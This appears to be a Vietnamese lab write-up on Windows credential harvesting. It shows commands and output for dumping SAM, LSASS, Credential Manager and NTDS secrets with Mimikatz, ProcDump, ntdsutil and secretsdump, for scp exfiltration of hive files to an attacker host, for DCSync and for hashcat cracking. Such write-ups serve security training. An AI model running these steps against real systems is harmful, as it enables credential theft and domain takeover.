Credentials Harvesting

Thông tin xác thực bao gồm:

  • Tên tài khoản và mật khẩu
  • Giá trị băm (như NTLM hash)
  • TGT và TGS
  • Bất kỳ thông tin nào hỗ trợ đăng nhập vào hệ thống, chẳng hạn như khóa riêng tư

Có hai hình thức thu thập thông tin xác thực:

  1. External: thường sử dụng các phương thức như email phishing hoặc các kỹ thuật khác nhằm lừa người dùng cung cấp tên tài khoản và mật khẩu.
  2. Internal: xảy ra khi kẻ tấn công đã xâm nhập vào hệ thống và có quyền truy cập ban đầu.

Credential Access

Thông tin xác thực thường bị lưu trữ không an toàn ở các vị trí sau:

  • Các tập tin dạng văn bản rõ (plain text files)
  • Tập tin cơ sở dữ liệu
  • Bộ nhớ (RAM)
  • Trình quản lý mật khẩu
  • Kho lưu trữ bảo mật doanh nghiệp (Enterprise vaults)
  • Active Directory
  • Lưu lượng mạng

Clear-text Files

Các loại tập tin dạng văn bản rõ (clear-text files) có thể chứa thông tin xác thực bao gồm:

  • Lịch sử câu lệnh (command history)
  • Tập tin cấu hình
  • Tập tin liên quan đến các ứng dụng Windows (như trình duyệt, email client, v.v.)
  • Tập tin backup
  • Tập tin và thư mục được chia sẻ (shared files and folders)
  • Registry
  • Mã nguồn (source code)

Ví dụ, PowerShell lưu các câu lệnh đã được thực thi ở trong một file có đường dẫn như sau:

C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Một ví dụ khác, chúng ta có thể tìm credentials ở trong registry bằng câu lệnh sau:

C:\Users\thm>reg query HKLM /v flag /t REG_SZ /s
KEY_LOCAL_MACHINE\SYSTEM\THM
	flag    REG_SZ    password: 7tyh4ckm3

Câu lệnh trên tìm kiếm trong HKLM (HKEY_LOCAL_MACHINE) các registry có key là flag và kiểu dữ liệu là REG_SZ (chuỗi). Tùy chọn /s cho phép tìm kiếm đệ quy qua tất cả các subkey trong HKLM.

Active Directory

Dưới đây là một số cấu hình sai (misconfigurations) trong Active Directory có thể bị lợi dụng để thu thập thông tin xác thực:

  • Mô tả của tài khoản người dùng: quản trị viên có thể vô tình để lại mật khẩu trong phần mô tả của tài khoản người dùng, thường là mật khẩu dành cho người dùng mới, nhưng không xóa sau khi thiết lập.
  • Group Policy trong SYSVOL: thư mục SYSVOL có thể chứa các Group Policy Object (GPO), trong đó đôi khi lưu thông tin nhạy cảm. Nếu không được bảo vệ đúng cách, chúng có thể bị truy cập và lợi dụng để lấy thông tin xác thực.
  • NTDS: cơ sở dữ liệu NTDS của Active Directory chứa tất cả các thông tin người dùng, bao gồm cả giá trị băm của mật khẩu. Nếu kẻ tấn công truy cập được vào database này, họ có thể trích xuất và crack các hash để thu thập thông tin xác thực.

Ví dụ về việc để password ở trong mô tả của user nhưng quên xóa:

PS C:\Users\thm> Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
 
Name          SamAccountName Description
----          -------------- -----------
Administrator Administrator  Built-in account for administering the computer/domain
Guest         Guest          Built-in account for guest access to the computer/domain
krbtgt        krbtgt         Key Distribution Center Service Account
THM User      thm
THM Victim    victim         Change the password: Passw0rd!@#
thm-local     thm-local
Admin THM     admin
svc-thm       svc-thm
THM Admin BK  bk-admin
test          test-user
sshd          sshd

Local Windows Credentials

Security Account Manager (SAM)

SAM là một cơ sở dữ liệu của Windows chứa thông tin của các tài khoản cục bộ (local account) chẳng hạn như tên tài khoản và mật khảu hoặc NTLM hash. SAM lưu những thông tin này ở dạng mã hóa và không thể đọc hoặc truy cập bởi bất kỳ người dùng nào khi Windows đang chạy.

Thật vậy, cho dù chạy CMD dưới quyền Administrator, chúng ta vẫn không thể đọc hay sao chép SAM database:

C:\Windows\system32>type c:\Windows\System32\config\sam
The process cannot access the file because it is being used by another process.
 
C:\Windows\system32>copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
The process cannot access the file because it is being used by another process.
        0 file(s) copied.

Metasploit’s HashDump

Có thể sử dụng câu lệnh hashdump của Metasploit để trích xuất nội dung của SAM database:

meterpreter > getuid
Server username: THM\Administrator
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:443e64439a4b7fe780db47fc06a3342d:::

Volume Shadow Copy Service

Một cách tiếp cận khác để trích xuất SAM database là sử dụng dịch vụ Volume Shadow Copy của Windows, vốn được dùng để sao lưu khi các ứng dụng đang thực hiện việc đọc hoặc ghi ở trên các volume.

Cụ thể, chúng ta sẽ sử dụng wmic để tạo ra một shadow copy của volume C thông qua một CMD được chạy dưới quyền Administrator:

C:\Windows\system32>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{E44E4E92-0560-4EE4-90AE-79C5CF6A55BB}";
};

Sau đó, sử dụng công cụ vssadmin (Volume Shadow Copy Service Administrative) để liệt kê và xác nhận rằng chúng ta có một shadow copy của volume C (mà có chứa SAM database):

C:\Windows\system32>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
 
Contents of shadow copy set ID: {0e26121e-c1fb-4bdd-aefe-5d2647b94d6c}
   Contained 1 shadow copies at creation time: 10/13/2024 10:09:06 AM
      Shadow Copy ID: {e44e4e92-0560-4ee4-90ae-79c5cf6a55bb}
         Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: Creds-Harvesting-AD.thm.red
         Service Machine: Creds-Harvesting-AD.thm.red
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

Kết quả trên cho ta biết rằng ta đã tạo ra được một shadow copy của volume C ở địa chỉ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.

Như đã đề cập, SAM database bị mã hóa và thuật toán mã hóa là RC4 hoặc AES. Để có thể giải mã, chúng ta cần có private key được lưu ở trong file c:\Windows\System32\Config\system.

Sao chép cả samsystem về Desktop:

C:\Windows\system32>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam  C:\users\Administrator\Desktop\sam
        1 file(s) copied.
C:\Windows\system32>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
        1 file(s) copied.

Registry Hives

Còn có một cách khác để trích xuất SAM database là thông qua Windows Registry do nó cũng lưu nội dung của SAM database để các service có thể sử dụng.

Chúng ta có thể dùng công cụ reg.exe có sẵn của Windows để trích xuất SAM database từ registry:

C:\Users\Administrator\Desktop>reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
The operation completed successfully.
 
C:\Users\Administrator\Desktop>reg save HKLM\system C:\users\Administrator\Desktop\system-reg
The operation completed successfully.

Có thể sao chép samsystem về máy của attacker để thực hiện giải mã:

C:\Users\Administrator\Desktop>scp system-reg aleister@10.13.57.143:~/Workspaces/tryhackme/credharvest
Password:
system-reg                                                                            100%   20MB   1.3MB/s   00:15
 
C:\Users\Administrator\Desktop>scp sam-reg aleister@10.13.57.143:~/Workspaces/tryhackme/credharvest
Password:
sam-reg                                                                               100%   52KB  51.2KB/s   00:01

Cụ thể, ta sẽ sử dụng công cụ secretsdump.py thuộc Impacket để giải mã:

secretsdump.py -sam sam-reg -system system-reg LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

Sau khi có NTLM hash thì có thể dùng hashcat để crack hoặc sử dụng để mạo danh1.

Local Security Authority Subsystem Service (LSASS)

Là một tiến trình của Windows giúp xử lý các chính sách bảo mật của hệ điều hành. Windows lưu credential ở trong tiến trình này để user có thể truy cập vào các tài nguyên mạng chẳng hạn như tập tin chia sẻ hoặc SharePoint mà không cần phải nhập lại credential.

Task Manager

Nếu chúng ta có quyền Administrator thì có thể trích xuất vùng nhớ của LSASS để thu được các thông tin xác thực.

Có thể thực hiện điều này thông qua GUI (Task Manager):

Nếu gặp lỗi trong quá trình dump memory của tiến trình LSASS thì có thể là do giá trị registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa` đang được bật (có giá trị là 1).

Protected LSASS

Năm 2012, Microsoft triển khai một tính năng có tên là LSA protection nhằm ngăn chặn việc trích xuất vùng nhớ của LSASS.

Chúng ta có thể tắt tính năng này đi bằng cách sử dụng Mimikatz:

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
Nếu câu lệnh trên gặp lỗi `isFileExist` thì truy cập vào thư mục của Mimikatz mà có chứa các file DLL rồi chạy Mimikatz lại.

Cuối cùng, chạy lệnh sau để tắt LSA protection:

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 828 -> 00/00 [0-0-0]

MimiKatz

Chạy CMD dưới quyền Administrator rồi bật quyền SeDebugPrivilege:

mimikatz # privilege::debug
Privilege '20' OK

Sau đó, dùng lệnh sau để trích xuất các NTLM hash ở trong vùng nhớ của tiến trình LSASS:

mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515377 (00000000:0007dd31)
Session           : RemoteInteractive from 3
User Name         : Administrator
Domain            : THM
Logon Server      : CREDS-HARVESTIN
Logon Time        : 6/3/2022 8:30:44 AM
SID               : S-1-5-21-1966530601-3185510712-10604624-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : THM
         * NTLM     : 98d3a787a80d08385cea7fb4aa2a4261
         * SHA1     : 64a137cb8178b7700e6cffa387f4240043192e72
         * DPAPI    : bc355c6ce366fdd4fd91b54260f9cf70
...
Chỉ những user nào đã đăng nhập thì giá trị băm của mật khẩu mới được lưu vào vùng nhớ của tiến trình LSASS và mới được trích xuất ra.

Nếu LSA protection được bật, việc sử dụng Mimikatz để trích xuất NTLM hash sẽ gặp lỗi như sau:

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005

ProcDump

Một cách khác để trích xuất vùng nhớ của LSASS là sử dụng chương trình ProcDump.exe thuộc bộ công cụ Sysinternals.

C:\Windows\system32>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Users\Administrator\Desktop\lsass_dump
 
ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
 
[10:35:29] Dump 1 initiated: c:\Users\Administrator\Desktop\lsass_dump.dmp
[10:35:29] Dump 1 writing: Estimated dump file size is 144 MB.
[10:35:29] Dump 1 complete: 144 MB written in 0.2 seconds
[10:35:29] Dump count reached.
Việc trích xuất vùng nhớ của tiến trình LSASS là một hành vi thường bị phát hiện bởi các AV. Trong thực tế, ta cần viết code để mã hóa dữ liệu đã trích xuất hoặc dùng cách nào đó để bypass AV.

Windows Credential Manager

Đây là một tính năng của Windows giúp lưu trữ thông tin đăng nhập cho các trang web, ứng dụng, hoặc mạng. Có 4 loại thông tin đăng nhập trong Credential Manager:

  • Web credentials: chứa thông tin xác thực được lưu trữ trong trình duyệt hoặc các ứng dụng khác.
  • Windows credentials: chứa thông tin xác thực của Windows, chẳng hạn như NTLM hoặc Kerberos.
  • Generic credentials: chứa thông tin xác thực cơ bản như username và password ở dạng bản rõ.
  • Certificate-based credentials: chứa thông tin xác thực dựa trên chứng chỉ (certificates).

Có thể truy cập vào Credential Manager thông qua giao diện (Control Panel → User Accounts → Credential Manager) hoặc thông qua chương trình vaultcmd:

C:\Users\Administrator\Desktop>vaultcmd /list
Currently loaded vaults:
        Vault: Web Credentials
        Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Location: C:\Users\thm\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
 
        Vault: Windows Credentials
        Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
        Location: C:\Users\thm\AppData\Local\Microsoft\Vault

Theo mặc định, Windows có hai kho lưu trữ thông tin xác thực là Web Credentials và Windows Credentials.

Kiểm tra xem có thông tin xác thực nào ở trong Web Credentials hay không:

C:\Users\Administrator\Desktop>VaultCmd /listproperties:"Web Credentials"
Vault Properties: Web Credentials
Location: C:\Users\thm\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI

Có thể thấy, tồn tại một thông tin xác thực ở trong Web Credentials. Tiếp tục truy vấn thêm về thông tin xác thực này:

C:\Users\Administrator\Desktop>VaultCmd /listcreds:"Web Credentials"
Credentials in vault: Web Credentials
 
Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMuser
Saved By: MSEdge
Hidden: No
Roaming: Yes

Chương trình vaultcmd không hiển thị mật khẩu của thông tin xác thực. Tuy nhiên, ta có thể dùng script Get-WebCredentials.ps1 để trích xuất mật khẩu.

C:\Users\Administrator\Desktop>powershell -ex bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\Users\Administrator\Desktop> Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator\Desktop> Get-WebCredentials
 
UserName Resource             Password     Properties
-------- --------             --------     ----------
THMuser  internal-app.thm.red E4syPassw0rd {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, MSEdge]}

RunAS

Tại sao dùng `runas` lưu thông tin xác thực và nó liên quan gì đến `cmdkey`?

Công cụ cmdkey của Windows được sử dụng để tạo, xóa và hiển thị các thông tin xác thực đã lưu trong Credential Manager. Bằng cách sử dụng tùy chọn /list, chúng ta có thể liệt kê tất cả các thông tin xác thực, hoặc chỉ định một thông tin xác thực cụ thể, ví dụ như /list:computername, để xem chi tiết về nó.

PS C:\Users\Administrator\Desktop> cmdkey /list
 
Currently stored credentials:
 
    Target: LegacyGeneric:target=10.10.237.226
    Type: Generic
    User: thm
 
    Target: Domain:interactive=thm.red\thm-local
    Type: Domain Password
    User: thm.red\thm-local

Output trên cho thấy có một mật khẩu của domain account thm.red\thm-local. Chúng ta sẽ sử dụng runas để thực thi CMD dưới danh nghĩa của thm.red\thm-local:

C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe
Attempting to start cmd.exe as user "THM.red\thm-local" ...

Tùy chọn /savecred cho phép lưu trữ thông tin xác thực của người dùng vào Credential Manager. Nhờ đó, trong các lần thực thi câu lệnh tiếp theo với cùng người dùng, chúng ta sẽ không cần phải nhập mật khẩu. Nếu thông tin xác thực đã có sẵn ở trong Credential Manager, ta có thể lợi dụng tùy chọn này để loại bỏ việc nhập mật khẩu.

Đọc flag:

C:\Users\thm-local\Saved Games>type flag.txt
THM{RunA5S4veCr3ds}
THM{RunA5S4veCr3ds}

Mimikatz

Cũng có thể dùng Mimikatz để trích xuất mật khẩu trong Credential Manager ở dạng bản rõ:

mimikatz # sekurlsa::credman
 
Authentication Id : 0 ; 401534 (00000000:0006207e)
Session           : RemoteInteractive from 2
User Name         : thm
Domain            : THM
Logon Server      : CREDS-HARVESTIN
Logon Time        : 10/13/2024 10:58:14 AM
SID               : S-1-5-21-1966530601-3185510712-10604624-1114
        credman :
         [00000000]
         * Username : thm
         * Domain   : 10.10.237.226
         * Password : jfxKruLkkxoPjwe3
         [00000001]
         * Username : thm.red\thm-local
         * Domain   : thm.red\thm-local
         * Password : Passw0rd123
Nhớ chạy `token::elevate` và `privilege::debug`.

Domain Controller

New Technologies Directory Services (NTDS)

Là nơi chứa tất cả dữ liệu của Active Directory, bao gồm các đối tượng, thuộc tính, thông tin xác thực, etc. Dữ liệu ở trong NTDS bao gồm ba bảng như sau:

  • Schema: chứa kiểu của các đối tượng và các mối quan hệ giữa chúng.
  • Link: chứa các thuộc tính và giá trị tương ứng của các đối tượng.
  • Data type: chứa các user và nhóm.

Theo mặc định, NTDS nằm ở C:\Windows\NTDS. Việc truy cập vào NTDS sẽ bị từ chối do nó đang được sử dụng bởi Active Directory và bị khóa.

Việc giải mã NTDS yêu cầu một khóa giải mã được lưu ở tập tin SYSTEM.

Local Dumping (Without Credentials)

Để có thể trích xuất nội dung của NTDS, ta cần các tập tin sau:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

Trích xuất những tập tin trên sử dụng ntdsutil.exe (là công cụ dùng để quản lý và bảo trì các cấu hình của Active Directory):

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Kết quả thực thi:

C:\Windows\system32>powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {f7ff86b1-bf57-4833-a25b-283b43ddadff} generated successfully.
Snapshot {24ab9f8d-a059-4471-a912-654537699e55} mounted as C:\$SNAP_202410131132_VOLUMEC$\
Snapshot {24ab9f8d-a059-4471-a912-654537699e55} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_202410131132_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\Active Directory\ntds.dit
 
                  Defragmentation  Status (omplete)
 
          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................
 
Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {24ab9f8d-a059-4471-a912-654537699e55} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q

Các tập tin sẽ được trích xuất ra thư mục Temp:

C:\temp>dir
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362
 
 Directory of C:\temp
 
10/13/2024  11:32 AM    <DIR>          .
10/13/2024  11:32 AM    <DIR>          ..
10/13/2024  11:32 AM    <DIR>          Active Directory
10/13/2024  11:32 AM    <DIR>          registry
3. The DC Sync is a popular attack to perform within an Active Directory environment to dump credentials remotely. This attack works when an account (special account with necessary permissions) or AD admin account is compromised that has the following AD permissions:
 
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes in Filtered Set

Cụ thể, sẽ có 2 thư mục là Active Directoryregistry chứa 3 tập tin mà ta cần.

Sao chép 2 thư mục này về máy của attacker:

C:\temp>scp -r "Active Directory" aleister@10.13.57.143:~/Workspaces/tryhackme/credharvest
Password:
ntds.dit                                                                              100%   24MB 786.3KB/s   00:31
ntds.jfm
 
C:\temp>scp -r registry aleister@10.13.57.143:~/Workspaces/tryhackme/credharvest
Password:
SECURITY                                                                              100%   64KB  64.0KB/s   00:01
SYSTEM                                                                                100%   20MB 791.4KB/s   00:25

Sau đó sử dụng secretsdump.py để trích xuất các giá trị băm của NTDS database:

secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit local
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:440741d14e7f36fd4e012d8108695f9fa5d3a4254b6b7ea2005e323b504f798659def17b8b99dd8449cd136eea5a4f9da480e92a8304f12155cc40f6a3582d6eaf2d7f4e44cf5b59afa0ae60f7c607ea7168c2763346c5ef43cc18daed0816177d32eb954f0e48d39c18fa05503dc0b3e8896acabc5d524439bbe891e8770b8094cdfc2c03e4a695b726230f7bc43d843591098b07e20c89f516823e258a2fd04fd0259ad9ede5de605055a5ad33d6d45fd238f4fc0315f6c2123e53fe29bcfe19cd1031ce1e128369a73ca0d9888e2d3821768f54e74ab7b4505da7534f42f0ef54e9f55ef246a3bc428f47bdad92f7
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:4e079e388ea1b26b1a2ccd6fab90faf9
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0e88ce11d311d3966ca2422ac2708a4d707e00be
dpapi_userkey:0x8b68be9ef724e59070e7e3559e10078e36e8ab32
[*] NL$KM
 0000   8D D2 8E 67 54 58 89 B1  C9 53 B9 5B 46 A2 B3 66   ...gTX...S.[F..f
 0010   D4 3B 95 80 92 7D 67 78  B7 1D F9 2D A5 55 B7 A3   .;...}gx...-.U..
 0020   61 AA 4D 86 95 85 43 86  E3 12 9E C4 91 CF 9A 5B   a.M...C........[
 0030   D8 BB 0D AE FA D3 41 E0  D8 66 3D 19 75 A2 D1 B2   ......A..f=.u...
NL$KM:8dd28e67545889b1c953b95b46a2b366d43b9580927d6778b71df92da555b7a361aa4d8695854386e3129ec491cf9a5bd8bb0daefad341e0d8663d1975a2d1b2
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 55db1e9562985070bbba0ef2cc25754c
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc9b72f354f0371219168bdb1460af32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:4e079e388ea1b26b1a2ccd6fab90faf9:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
thm.red\victim:1115:aad3b435b51404eeaad3b435b51404ee:6c3d8f78c69ff2ebc377e19e96a10207:::
thm.red\thm-local:1116:aad3b435b51404eeaad3b435b51404ee:077cccc23f8ab7031726a3b70c694a49:::
thm.red\admin:1118:aad3b435b51404eeaad3b435b51404ee:077cccc23f8ab7031726a3b70c694a49:::
thm.red\svc-thm:1119:aad3b435b51404eeaad3b435b51404ee:5858d47a41e40b40f294b3100bea611f:::
thm.red\bk-admin:1120:aad3b435b51404eeaad3b435b51404ee:077cccc23f8ab7031726a3b70c694a49:::
thm.red\test-user:1127:aad3b435b51404eeaad3b435b51404ee:5858d47a41e40b40f294b3100bea611f:::
sshd:1128:aad3b435b51404eeaad3b435b51404ee:a78d0aa18c049d268b742ea360849666:::
[*] Kerberos keys from Active Directory/ntds.dit
Administrator:aes256-cts-hmac-sha1-96:510e0d5515009dc29df8e921088e82b2da0955ed41e83d4c211031b99118bf30
Administrator:aes128-cts-hmac-sha1-96:bab514a24ef3df25c182f5520bfc54a0
Administrator:des-cbc-md5:6d34e608f8574632
CREDS-HARVESTIN$:aes256-cts-hmac-sha1-96:64fceb025edd3b72bbd079032098f7ab16ab4d18935ff96b53ffa0ea4ec473b3
CREDS-HARVESTIN$:aes128-cts-hmac-sha1-96:e650cdbb85de8b70925ce6e04f137266
CREDS-HARVESTIN$:des-cbc-md5:a8d65d1585490bf1
krbtgt:aes256-cts-hmac-sha1-96:24fad271ecff882bfce29d8464d84087c58e5db4083759e69d099ecb31573ad3
krbtgt:aes128-cts-hmac-sha1-96:2feb0c1629b37163d59d4c0deb5ce64c
krbtgt:des-cbc-md5:d92ffd4abf02b049
thm.red\thm:aes256-cts-hmac-sha1-96:2a54bb9728201d8250789f5e793db4097630dcad82c93bcf9342cb8bf20443ca
thm.red\thm:aes128-cts-hmac-sha1-96:70179d57a210f22ad094726be50f703c
thm.red\thm:des-cbc-md5:794f3889e646e383
thm.red\victim:aes256-cts-hmac-sha1-96:588635fd39ef8a9a0dd1590285712cb2899d0ba092a6e4e87133e4c522be24ac
thm.red\victim:aes128-cts-hmac-sha1-96:672064af4dd22ebf2f0f38d86eaf0529
thm.red\victim:des-cbc-md5:457cdc673d3b0d85
thm.red\thm-local:aes256-cts-hmac-sha1-96:a7e2212b58079608beb08542187c9bef1419d60a0daf84052e25e35de1f04a26
thm.red\thm-local:aes128-cts-hmac-sha1-96:7c929b738f490328b13fb14a6cfb09cf
thm.red\thm-local:des-cbc-md5:9e3bdc4c2a6b62c4
thm.red\admin:aes256-cts-hmac-sha1-96:7441bc46b3e9c577dae9b106d4e4dd830ec7a49e7f1df1177ab2f349d2867c6f
thm.red\admin:aes128-cts-hmac-sha1-96:6ffd821580f6ed556aa51468dc1325e6
thm.red\admin:des-cbc-md5:32a8a201d3080b2f
thm.red\svc-thm:aes256-cts-hmac-sha1-96:8de18b5b63fe4083e22f09dcbaf7fa62f1d409827b94719fe2b0e12f5e5c798d
thm.red\svc-thm:aes128-cts-hmac-sha1-96:9fa57f1b464153d547cca1e72ad6bc8d
thm.red\svc-thm:des-cbc-md5:f8e57c49f7dc671c
thm.red\bk-admin:aes256-cts-hmac-sha1-96:48b7d6de0b3ef3020b2af33aa43a963494d22ccbea14a0ee13b63edb1295400e
thm.red\bk-admin:aes128-cts-hmac-sha1-96:a6108bf8422e93d46c2aef5f3881d546
thm.red\bk-admin:des-cbc-md5:108cc2b0d3100767
thm.red\test-user:aes256-cts-hmac-sha1-96:2102b093adef0a9ddafe0ad5252df78f05340b19dfac8af85a4b4df25f6ab660
thm.red\test-user:aes128-cts-hmac-sha1-96:dba3f53ecee22330b5776043cd203b64
thm.red\test-user:des-cbc-md5:aec8e3325b85316b
sshd:aes256-cts-hmac-sha1-96:07046594c869e3e8094de5caa21539ee557b4d3249443e1f8b528c4495725242
sshd:aes128-cts-hmac-sha1-96:e228ee34b8265323725b85c6c3c7d85f
sshd:des-cbc-md5:b58f850b4c082cc7
[*] Cleaning up...

Remote Dumping (With Credentials)

Chúng ta có thể trích xuất thông tin xác thực của domain controller từ xa nhưng việc này yêu cầu các thông tin xác thực mà có quyền quản trị.

Cụ thể, ta sẽ sử dụng tính năng DCSync để trích xuất thông tin xác thực từ xa bằng cách lợi dụng một tài khoản có các quyền ở trên AD như sau:

  • Sao chép sự thay đổi xảy ra trong AD.
  • Sao chép sự thay đổi xảy ra trong forest.
  • Sao chép sự thay đổi xảy ra trong một tập có chọn lọc các thuộc tính của AD.

DC Sync sử dụng Mimikatz để thực hiện tấn công DC Synchroniztion. Tuy nhiên, lần này ta sẽ sử dụng một công cụ khác là secretsdump.py. Ví dụ:

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc THM.red/<AD_Admin_User>@MACHINE_IP 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
 
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::
thm.red\thm:1114:aad3b435b51404eeaad3b435b51404ee:[****REMOVED****]:::

Giải thích một số giá trị trong câu lệnh trên:

  • -just-dc: dùng để trích xuất dữ liệu của NTDS
  • THM.red/<AD_Admin_User> là domain user đã được xác thực.

Nếu ta chỉ muốn trích xuất các NTLM hash thì có thể sử dụng tùy chọn -just-dc-ntlm:

user@machine$ python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm THM.red/<AD_Admin_User>@MACHINE_IP

Sau khi có giá trị băm mật khẩu của user thì dùng hashcat để crack:

hashcat -m 1000 bk-admin.hash /usr/share/wordlists/rockyou.txt --show
077cccc23f8ab7031726a3b70c694a49:Passw0rd123

Local Administrator Password Solution (LAPS)

Group Policy Preferences (GPP)

Windows có một tài khoản Administrator mặc định. Tuy nhiên, việc thay đổi mật khẩu của tài khoản này trên nhiều máy trong Active Directory (AD) có thể rất phức tạp. Để giải quyết vấn đề này, Windows đã phát triển một tính năng gọi là Group Policy Preferences (GPP), cho phép quản trị viên dễ dàng thiết lập và quản lý mật khẩu của tài khoản Administrator trên toàn bộ hệ thống.

GPP là một công cụ cho phép quản trị viên có thể tạo ra các chính sách cho domain với các thông tin xác thực được nhúng vào. Một khi GPP được triển khai, sẽ có một số tập tin XML được tạo ra ở trong SYSVOL. Một số tập tin sẽ có chứa mật khẩu và được mã hóa bằng thuật toán AES-256. Vấn đề xảy ra khi Microsoft công khai khóa riêng tư của việc mã hóa này: [MS-GPPREF]: Password Encryption | Microsoft Learn.

Một trong số những công cụ dùng để crack mật khẩu bị mã hóa là Get-GPPPassword.ps1.

Local Administrator Password Solution (LAPS)

Năm 2015, Microsoft không lưu mật khẩu được mã hóa ở thư mục SYSVOL nữa mà ra mắt tính năng Local Administrator Password Solution (LAPS) để quản lý mật khẩu của quản trị viên cục bộ một cách an toàn hơn.

